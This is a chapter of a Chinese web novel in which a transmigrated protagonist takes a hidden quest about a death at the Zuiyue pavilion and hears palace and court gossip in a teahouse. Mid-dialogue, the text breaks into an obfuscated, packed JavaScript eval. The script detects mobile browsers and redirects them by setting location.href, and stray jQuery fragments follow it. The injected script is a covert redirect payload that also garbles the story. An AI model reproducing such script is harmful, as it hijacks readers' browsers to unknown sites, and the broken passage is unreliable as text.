5. 暗线任务

作品:《咸鱼夫君觉醒后

    系统“小气”的行为让夜景澜觉得很是无趣,干脆盘着一串珠子自己琢磨起来。


    方才那锦衣卫的一段话里,信息量倒是不少。醉月轩,邹家,李家,还有夜家……怎么想都不像是毫无关联。


    不过话说回来,这花楼里的头牌姑娘到底长成什么样啊?看书全靠想象,这真穿越了,如此身临其境,说不好奇那肯定是假的。


    “016,这醉月轩的来历,你总可以给我透露一下吧?”


    【叮!宿主触发暗线任务,请查收,完成即可收获10经验值。】


    显示屏再次出现,紫色的粒子聚集成一行秀丽的小楷——


    暗线任务一:找出邹氏真正的死因


    哟,居然真的另有隐情。


    夜景澜饶有兴致地盘算:早说有暗线任务多好,那我做满十个不照样能回原世界?这可比攻略“夫人”简单多了!


    他一拍大腿,决定干脆今夜就去探一探虚实,完全将太医等一众人的叮嘱抛置脑后。


    系统狐疑:“你这病才好就跑去酒楼,被人知道了恐怕不妥。尤其是被白钰冷知道,只怕好感值还得往下掉。”


    夜景澜不以为然,“无妨,我稍作乔装一下,就算被人认出来了,夜白二人夫妻不睦全金陵都知道,不差这一点事情。至于白钰冷…”


    “你放心,我观察了一下,她跟我的母后大人一样是个事业批,肯定不会在这种事情上拘于小节!只要帮她顺利解决问题,她对我的好感度只会增不会降。”他信誓旦旦地挑了挑眉。


    系统:“……”


    从来没见过哪个宿主能把“不会攻略对象”美化得这么冠冕堂皇的。


    “不过,先下醉月轩恐怕已经被刑部的人戒严了,只怕也打探不出什么。016,你知道金陵城还有什么有名的酒楼吗?想必那里面的人此时多少会议论在醉月轩发生的事情。”


    “有道理。”系统一边翻资料库一边啧啧感叹:“这金陵城还真是花柳繁华地、温柔富贵乡,永宁初年时,瑜太祖巡游江南时,便下令依水而建九座名动天下的花楼,醉月轩就是其中之一。除了醉月轩,还有倚红、云鹤等楼。”


    云鹤楼?阿辛好像说过,礼部的徐大人经常与原主在那小聚来着。


    “就去云鹤楼,016,麻烦你导航一下喽!”


    ————


    天尽黑了,高耸的云鹤楼被薄雾环绕,底下,暗沉的河水边,燃着流火一般的花灯。


    酒楼几乎满座,人声鼎沸,云雾缭绕,轻纱遮面的歌女捧着琵琶,款款出现在飘渺的仙气中。


    夜景澜挑了个角落里的位置静静品茶,不一会儿,一个围着藏青色头巾的中年男人被店小二引到了他的座位旁。


    小二小心翼翼地试探道:“这位客官真是抱歉,今晚店里座位都坐满了,不知您介不介意这位客官共享一下茶座呢?”


    夜景澜心想正好,爽快道:“没问题啊,大哥请坐!”


    那大哥道谢后落了座,“哎今个可惜了,本可以听上蓝甯儿姑娘亲自弹奏的《醉月殇》的,谁成想遇到一群不着调的公子哥,生生毁了这场花船宴。”


    真是踏破铁鞋无觅处,得来全不费工夫!


    夜景澜因势利导:“诶这位兄台,在下寡闻,这《醉月殇》背后可有什么有趣的故事?”


    大哥来了兴致,“这你可就问对人了!金陵的九大名楼你总该知?据说啊,这醉月轩原本只在九大名楼之末,规格档次丝毫比不了诸如倚红、云鹤,但自从醉月轩的上一任楼主离世,手下的亲信,也就是如今的这位蓝甯儿姑娘接管此楼,这地方名气也一下子扶摇直上,想见这姑娘一面都得提前好几个月预约。”


    “这个中缘由又是什么呢?”


    那人喝了口茶,悠悠道,“好说,这位姑娘拜的可是当今太后眼前的红人,司礼监掌印太监周瑾为师学习琴艺。”


    太后身边的人?夜景澜的耳朵顿时竖起了雷达。


    “这周瑾,在赏花玩鸟、琴艺书画方面着实是有些天赋。据说他七岁就弹得一手好琴,十岁就名满江南,还成为了江南琴王黎樊的关门弟子。三年前,他还在这醉月轩与倚红楼的一位乐师斗琴,那姑娘也是从小习琴,用的还是大宛名师的古琴,没想到一曲终了,她竟将琴一摔为二,发誓从此再不碰琴。周瑾再次一曲成名,弹奏的便是这《醉月殇》,而醉月轩也从此名声大振。”


    “这么说,周瑾才是这座楼背后真正的主人。”夜景澜笑眼弯弯,一副很感兴趣的样子,“可他堂堂一个掌印太监,跑来跟花楼扯上关系做什么呢?”


    “兄弟怕不是外地来的,金陵人嚼烂了的故事都不晓得?”那人有些得意,语气中颇有卖弄之意。


    夜景澜平生最讨厌旁人觉得他浅薄无知,但只能强忍住不爽:被迫穿越还遇上一个抠搜的系统,能知道才是稀奇了。


    他递了一个礼貌的微笑:“都说了咱家寡闻,那周瑾是如何青云直上,成为宦官之首的呢?”


    来来来,快告诉我他是怎么巴结上太后的!


    “周瑾此人的确是聪明,喻皇后还未成为太后时,他便看中时机有意亲近,成了先帝身边的司礼监掌印太监。所以天熹帝登基数年,依然无法与喻太后在朝中的势力相抗衡,因此也无法撼动周瑾的地位。”


    夜景澜一嗤,总结道:“说白了他就是安插在天熹帝身旁的一个明牌眼线,因为押错了船,现在想跳也动弹不得,干脆站队太后到底。”


    大哥点点头,道:“这周瑾,看着白白净净弱不禁风的,实际上是个‘欲进皇宫,必先自宫’的狠人。”


    “什么?”夜景澜差点被茶水呛住。


    “哈哈,”那人爽朗一笑,仿佛觉得有趣极了,“你可别觉得进皇宫是件很容易的事情,有道是“有钱能使鬼推磨”,有权同样如此。太监,听起来是个人人唾骂的不齿职位,但好歹也是普通宦官的头头。实际上,就算你愿意挨那一刀,皇宫面试的时候人家还不一定要你。说白了,人家看不上,你连被阉的资格都没有。周瑾呢,就属于比较幸运的那种,他被挑中了,现在也混的出人头地的。但那些没被选中的,大概就只能回家带着残身了此一生了。”


    夜景澜回想了一下关于大瑜的历史知识,答道:“确实如此,这些人又不能成家,也难以立业,许多不稳定因素就是这么来的。”


    那人点点头


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001249|161779||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    :“是啊,想必也有不少人眼红嫉妒进了宫的人,说不定就去干了刺客。说来好笑,那周瑾不知是怕还是怎的,竟说服咱们天熹帝颁布了条法令——‘严禁进行自我阉割’哈哈哈!”


    ……


    夜景澜抽了抽嘴角:这可真是一个奇妙的世界。


    “哎,”那大哥不知想到什么,叹了口气,“兄弟,你来金陵城住的这几日,可有感受到这里的人有何不同?”


    夜景澜苦笑:我其实今晚才到……


    他摇摇头,“不知,大哥请讲。”


    大哥抿了口茶,“你在云鹤楼可能觉察不出,这楼取‘闲云野鹤’之意,受着许多金陵文人骚客的喜爱,因此当地人来饮茶的居多。然而在醉月轩,夜莱人和蓬伽人才是最多的。”


    夜景澜这学期刚好上到东亚史,知道这个两个民族来自东溟岛上,大部分人笃信佛教,但夜莱人更偏向于苦修派,奉行禁欲主义。他们较大瑜人而言眼窝更深,鼻翼细腻挺拔,因居住地靠海,纬度较低,男人的面相更为坚硬粗旷,女人也是偏深棕的肤色,放在金陵城细皮嫩肉的小生中,很容易一眼看出区别。


    “夜莱一向奉行闭关锁国的状态。崇明初年,东溟岛上爆发了一次内乱,先帝便借此契机释放了与之结交的意愿——接待夜莱教派首领的亲传子孙,远渡而来成为国师。因此,大瑜皇觉寺的静初国师,一直是金陵城中最为人敬重的人物之一。”


    “原来如此,这也是夜莱人能与大瑜人和平共处的重要原因吧。这么说,周瑾是蓬伽人?”


    “不,周瑾是苏州人,但喻太后和蓝甯儿都是蓬伽人。”


    这下夜景澜终于连通了思路,惊叹道:“看来明面上,是周瑾在扶持着整个醉月轩,实际上,太后才是背后出谋划策的主导者,真是厉害。”


    大哥嘿嘿一笑,摆了摆手:“害,要说厉害,在下觉得还得是咱们的白首辅。”


    夜景澜后颈一僵:天,吃瓜吃到自己家。


    对面没有察觉到夜景澜一刹那的怔愣,自顾自继续说道,“白首辅年纪不过二十二就能位列首辅。况且执政一年,拥有许多百姓称赞的政绩。不瞒您说,在下今年能参加科举,都得益于半年前,白首辅亲自推动的科举改革增加了‘钱粮税赋’的考核科目。从前科考一应都是些文章诗赋,哪里轮得到我这文不成武不就,只会搬弄些数字的人发挥用处?”


    那人仿佛察觉到自己激动过了头,有些失态,连忙呷了口茶道:“见笑了见笑了。”


    夜景澜皮笑肉不笑道:“无妨。”


    “若是幸运中了榜,熬个若干年,咱个兴许还能到海宁府任职。能有白首辅,是我大瑜的幸运哪!只可惜…”


    夜景澜撩起了眼皮,“只可惜什么?”


    对方微微欠身,声音和眉头一齐压低,这样子显然就是要说些难以启齿的私事了,“只可惜这白首辅,婚姻生活似乎不太顺。白钰冷的夫君虽位列侯爵之位,却不能行人事,如今还重病在床。哎,也难怪石头城里的人都在传,白首辅有个相好,就在城西的梨溶院里好生养着呢!”


    夜景澜一口茶水尽数喷出,瞠目欲裂,


    “你说什么???”